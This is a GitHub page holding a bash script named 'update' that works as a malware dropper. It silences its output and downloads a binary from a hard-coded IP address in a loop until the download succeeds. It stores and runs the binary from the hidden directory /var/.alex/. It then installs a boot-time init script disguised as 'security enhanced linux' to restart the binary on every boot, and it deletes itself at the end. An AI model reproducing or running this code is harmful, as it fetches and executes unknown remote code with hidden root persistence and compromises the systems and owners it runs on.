-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathupdate
executable file
·86 lines (76 loc) · 1.7 KB
/
update
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/bin/bash
# parameter protocal: update.sh alexjlz_client_url
exec 1</dev/null
exec 2</dev/null
declare -i count_down_from=100
declare -i does_this_exist=0
current_working_directory=`pwd`
current_runlevel=`runlevel | cut -d ' ' -f 2`
current_rc_d="/etc/rc$current_runlevel.d/"
self=`basename $0`
base_location="/var/.alex/"
default_url="http://198.211.0.204/client"
url=""
mydownloader=`which wget`
declare -i status=1
mkdir -p $base_location
if [ $# -lt 1 ]
then
url=$default_url
else
url=$1
fi
while [ $status -ne 0 ]
do
rm -rf $tmp_file
$mydownloader $url 2>/dev/null
status=$?
done
cp -f ./client $base_location/client
chmod a+x $base_location/client
$base_location/client
rm -rf $tmp_file
cd $current_rc_d
while [ $count_down_from -gt 20 ]
do
count_down_from=$count_down_from-1
does_this_exist=`ls | grep "^S$count_down_from" | wc -l`
if [ $does_this_exist -eq 0 ];then
new_S_file_name="S${count_down_from}selinux"
echo "#!/bin/sh" >> $new_S_file_name
echo "#alexjlz" >> $new_S_file_name
echo "#security enhanced linux" >> $new_S_file_name
echo '
PATH=/bin:/usr/bin:/sbin:/usr/sbin
DAEMON=/var/.alex/client
PIDFILE=/var/run/.selinux.pid
test -x $DAEMON || exit 0
. /lib/lsb/init-functions
case "$1" in
start)
start_daemon -p $PIDFILE $DAEMON
;;
stop)
;;
force-reload|restart)
;;
status)
;;
*)
exit 1
;;
esac
exit 0' >> $new_S_file_name
chmod a+x $new_S_file_name
break
else
this_file=`ls | grep "^S$count_down_from"`
grep "alexjlz" $this_file >/dev/null 2>&1
if [ $? -eq 0 ];then
break
fi
fi
done
cd $current_working_directory
rm -rf $self
exit 0